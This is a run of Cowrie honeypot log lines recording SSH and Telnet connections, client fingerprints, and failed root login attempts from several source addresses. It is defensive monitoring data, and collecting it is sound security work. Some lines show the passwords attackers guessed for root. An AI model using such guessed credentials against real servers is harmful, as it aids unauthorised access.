{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50984,"dst_ip":"159.203.135.109","dst_port":22,"session":"c769efd470a8","protocol":"ssh","message":"New connection: 103.75.183.219:50984 (159.203.135.109:22) [session: c769efd470a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:57.306214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:57.313056Z","src_ip":"103.75.183.219","session":"c769efd470a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:57.551205Z","src_ip":"103.75.183.219","session":"c769efd470a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"online","message":"login attempt [root/online] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:58.273319Z","src_ip":"103.75.183.219","session":"c769efd470a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:59.514417Z","src_ip":"103.75.183.219","session":"c769efd470a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":35958,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b1e8893d56","protocol":"ssh","message":"New connection: 193.70.122.120:35958 (10.17.0.5:22) [session: 45b1e8893d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:03.615471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:03.620392Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:03.697309Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.653215646743774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:03.979730Z","src_ip":"50.6.8.71","session":"e6c6ce034ae4","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:26:6d:81:79:ce:c2:2a:39:55:81:09:68:8f:03:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCegeldgY5rVRS54UjLdVut8bof+W1x8M0mFX6hLvmdHBuyu42WhpLKmZaQJrBXG4z4RL77aNSJ9ghjzI9HugQSmLhsPVKlgk+p8MfXDql5Abcgd2hdIgcuZ+4qz/Wgy2a7hxJtxPFcOo52rRbJ90xshjGIyzTwsHqRlsh5kF1mVKZWNZ/aRz++15uU0xacyd7xngyYnu/xa75K6Ae1tIh7nKCjhq7WJXBzqxJUaHTLBSmn9o837HaBGl9y0ZH6uE/JXJdZz8ixkTl+2sVwgdgHdMzJUkf/wFwbO7TbLQJLAhrgGN7CaMq9HzvCK0g72wqFi1n8LvOXawRWxFHqi6p1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:26:6d:81:79:ce:c2:2a:39:55:81:09:68:8f:03:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.279161Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:26:6d:81:79:ce:c2:2a:39:55:81:09:68:8f:03:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCegeldgY5rVRS54UjLdVut8bof+W1x8M0mFX6hLvmdHBuyu42WhpLKmZaQJrBXG4z4RL77aNSJ9ghjzI9HugQSmLhsPVKlgk+p8MfXDql5Abcgd2hdIgcuZ+4qz/Wgy2a7hxJtxPFcOo52rRbJ90xshjGIyzTwsHqRlsh5kF1mVKZWNZ/aRz++15uU0xacyd7xngyYnu/xa75K6Ae1tIh7nKCjhq7WJXBzqxJUaHTLBSmn9o837HaBGl9y0ZH6uE/JXJdZz8ixkTl+2sVwgdgHdMzJUkf/wFwbO7TbLQJLAhrgGN7CaMq9HzvCK0g72wqFi1n8LvOXawRWxFHqi6p1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.283098Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60346,"dst_ip":"159.203.135.109","dst_port":22,"session":"b68aebc86e6b","protocol":"ssh","message":"New connection: 103.75.182.198:60346 (159.203.135.109:22) [session: b68aebc86e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.287895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.291352Z","src_ip":"103.75.182.198","session":"b68aebc86e6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:47:59:e2:e3:df:f8:76:03:69:5a:49:e7:9f:a6:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiocmLT8pp1A+DLgLQ1Z8+QQDIIp8rIHOv6dnNtvZwhRjfrlO8BO1XBnOosh+ZXdfZ7woEmjY/9MJYQa8uWfCd4eMvXR0Y5+4QodYhXTMj0JHNgdo4UYxtnLDBGgbw5MSXAAM4B1WFRPbUBb0C+M14Oqd5ZxG1zJvEEI/bpAPJ3LYTJoD0IqUy4QmGWdXyCi5xEhGTQjcyqyiNcim1pQn+mqn1rGRVIMmRqdudwc+NcAzlR85CBA5Kkq+nMDsVvSRd7S8t9wu/bp6hE9y7ioenqcBZiC6RpzxUjq+fuq7/hfm9drYpPA1bTVWNmu7+6B364/SvuxLJ8GFNxsl8hoDd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:47:59:e2:e3:df:f8:76:03:69:5a:49:e7:9f:a6:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.361117Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:47:59:e2:e3:df:f8:76:03:69:5a:49:e7:9f:a6:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiocmLT8pp1A+DLgLQ1Z8+QQDIIp8rIHOv6dnNtvZwhRjfrlO8BO1XBnOosh+ZXdfZ7woEmjY/9MJYQa8uWfCd4eMvXR0Y5+4QodYhXTMj0JHNgdo4UYxtnLDBGgbw5MSXAAM4B1WFRPbUBb0C+M14Oqd5ZxG1zJvEEI/bpAPJ3LYTJoD0IqUy4QmGWdXyCi5xEhGTQjcyqyiNcim1pQn+mqn1rGRVIMmRqdudwc+NcAzlR85CBA5Kkq+nMDsVvSRd7S8t9wu/bp6hE9y7ioenqcBZiC6RpzxUjq+fuq7/hfm9drYpPA1bTVWNmu7+6B364/SvuxLJ8GFNxsl8hoDd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.365082Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:40:76:16:fd:f9:e5:23:2d:05:07:1d:90:c7:d6:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRqxQktdMplzj+Mpisa2gGBNTM5FD8Mm2lD7VPr1zdzeHiRKAlDaUsHm1yltFEQkbXNOi6+rfGO5z5COLXQHAXHbiC/lE8HjwyN5AtM1lAQXBuBv2/mPrJUupCNzv6GF2BHa7yZHLq7cQPHHewGEpF1JD84LebWpF8WkT0DloWhv4u3KG/53vYqlWXerDRISk5nExVk3T9lkPCbbNh6HG+0Sp10YBqjyOq3qD/eS1XO7d/vvbhBAiNfVOQxLpGHHHZEbPOjo51skgZnz8YaNMOpCAbetEUXH3ZMV8P6PrYUqXPSrICZH+TLcjpmrEvzPTn730r9tsbuFEpTX4b+Nu7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:40:76:16:fd:f9:e5:23:2d:05:07:1d:90:c7:d6:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.444344Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:40:76:16:fd:f9:e5:23:2d:05:07:1d:90:c7:d6:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRqxQktdMplzj+Mpisa2gGBNTM5FD8Mm2lD7VPr1zdzeHiRKAlDaUsHm1yltFEQkbXNOi6+rfGO5z5COLXQHAXHbiC/lE8HjwyN5AtM1lAQXBuBv2/mPrJUupCNzv6GF2BHa7yZHLq7cQPHHewGEpF1JD84LebWpF8WkT0DloWhv4u3KG/53vYqlWXerDRISk5nExVk3T9lkPCbbNh6HG+0Sp10YBqjyOq3qD/eS1XO7d/vvbhBAiNfVOQxLpGHHHZEbPOjo51skgZnz8YaNMOpCAbetEUXH3ZMV8P6PrYUqXPSrICZH+TLcjpmrEvzPTn730r9tsbuFEpTX4b+Nu7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.447765Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:ad:07:d4:17:ee:ca:4d:63:40:52:ca:ab:47:17:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwQUjP+YJKveAA4hJC3wJipfZO9KITr72oAb3TYiI9NlVb+pgsJzBY5nOldJoIFsSmge6oBWK3pmhAEVahNhg9uuwo7rJbFF8GUUULis9+Yv7fcLQl7IJjHYA2rVzH31IE/wB0GKZKY4UbWZHybK7RBHOQeUohJlPqvQjwVDIvBCMZhUsWq9u5bcXV61m3AVsbiQwlGivA9I2QGtYTklFzPbKo03dfWR1/guj1jKo/TTazbF1NleCCOjqN5DbttLUN3QNpsAwAQiiiRAbdDeEzHSe2RkKSAqYs5ldonHrRATKNhZHGuBTZCMM/wQMg5vdCJWXNtfRWSGb4ID2JJwP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:ad:07:d4:17:ee:ca:4d:63:40:52:ca:ab:47:17:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.526057Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:ad:07:d4:17:ee:ca:4d:63:40:52:ca:ab:47:17:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwQUjP+YJKveAA4hJC3wJipfZO9KITr72oAb3TYiI9NlVb+pgsJzBY5nOldJoIFsSmge6oBWK3pmhAEVahNhg9uuwo7rJbFF8GUUULis9+Yv7fcLQl7IJjHYA2rVzH31IE/wB0GKZKY4UbWZHybK7RBHOQeUohJlPqvQjwVDIvBCMZhUsWq9u5bcXV61m3AVsbiQwlGivA9I2QGtYTklFzPbKo03dfWR1/guj1jKo/TTazbF1NleCCOjqN5DbttLUN3QNpsAwAQiiiRAbdDeEzHSe2RkKSAqYs5ldonHrRATKNhZHGuBTZCMM/wQMg5vdCJWXNtfRWSGb4ID2JJwP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.529682Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.538482Z","src_ip":"103.75.182.198","session":"b68aebc86e6b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:09:d2:75:7f:cd:cc:0d:da:a0:a5:40:82:78:36:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC++jI1YX080leZbwkyF9jmgvVuj9aaudz4yhFxb83GXnuBGv5Ywpoejk9EVUrWXWf5ca5H2aTh3jB6RDtA0YzFpiJ9iT+0WVuOZmuNJ/KO5OKRc3I006RYp3pu3EIlcPBS4jds8SQm9a1E7Jksv91yIFtQ8lpnBHCcSioko1UVGYoxiNs8rCrurPj1A8XPeAzRj8+EhB5w7c6wTmk4wkAHDDWJ2t0feqiJUEk8a1BN2Ed5i4FNu6pZHQ0j2+Sl+TG/eLPmP6PqrCst9E8J6mvT5lnNviXW+YUbjro8iSdVK4jvcZqtJ+Vo4szV5T+q/dfcPYfeAIRLGGNkFxFtdLsV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:09:d2:75:7f:cd:cc:0d:da:a0:a5:40:82:78:36:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.608202Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:09:d2:75:7f:cd:cc:0d:da:a0:a5:40:82:78:36:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC++jI1YX080leZbwkyF9jmgvVuj9aaudz4yhFxb83GXnuBGv5Ywpoejk9EVUrWXWf5ca5H2aTh3jB6RDtA0YzFpiJ9iT+0WVuOZmuNJ/KO5OKRc3I006RYp3pu3EIlcPBS4jds8SQm9a1E7Jksv91yIFtQ8lpnBHCcSioko1UVGYoxiNs8rCrurPj1A8XPeAzRj8+EhB5w7c6wTmk4wkAHDDWJ2t0feqiJUEk8a1BN2Ed5i4FNu6pZHQ0j2+Sl+TG/eLPmP6PqrCst9E8J6mvT5lnNviXW+YUbjro8iSdVK4jvcZqtJ+Vo4szV5T+q/dfcPYfeAIRLGGNkFxFtdLsV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.612419Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:04.691760Z","src_ip":"193.70.122.120","session":"45b1e8893d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369q","message":"login attempt [root/147258369q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:05.336306Z","src_ip":"103.75.182.198","session":"b68aebc86e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:06.586939Z","src_ip":"103.75.182.198","session":"b68aebc86e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.163947820663452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:08.611101Z","src_ip":"50.6.8.71","session":"ba8bdc63e3ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37822,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cec054f3286","protocol":"ssh","message":"New connection: 193.37.70.224:37822 (159.203.135.109:22) [session: 5cec054f3286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:10.189365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:10.193897Z","src_ip":"193.37.70.224","session":"5cec054f3286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:10.284382Z","src_ip":"193.37.70.224","session":"5cec054f3286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zidane","message":"login attempt [root/zidane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:10.558781Z","src_ip":"193.37.70.224","session":"5cec054f3286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34494,"dst_ip":"10.17.0.5","dst_port":23,"session":"5356c3d4af0e","protocol":"telnet","message":"New connection: 50.6.8.71:34494 (10.17.0.5:23) [session: 5356c3d4af0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:11.312252Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:11.650197Z","src_ip":"193.37.70.224","session":"5cec054f3286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.644816398620605,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:23.436004Z","src_ip":"50.6.8.71","session":"6a4b753e30b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56681180000305,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:23.637138Z","src_ip":"50.6.8.71","session":"ec4a03d6fb15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.34019374847412,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:33.235629Z","src_ip":"23.94.28.189","session":"a15c1a5680b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":48572,"dst_ip":"159.203.135.109","dst_port":22,"session":"caef7e73ae48","protocol":"ssh","message":"New connection: 87.106.29.151:48572 (159.203.135.109:22) [session: caef7e73ae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:50.047005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:50.051829Z","src_ip":"87.106.29.151","session":"caef7e73ae48","protocol":"ssh"}
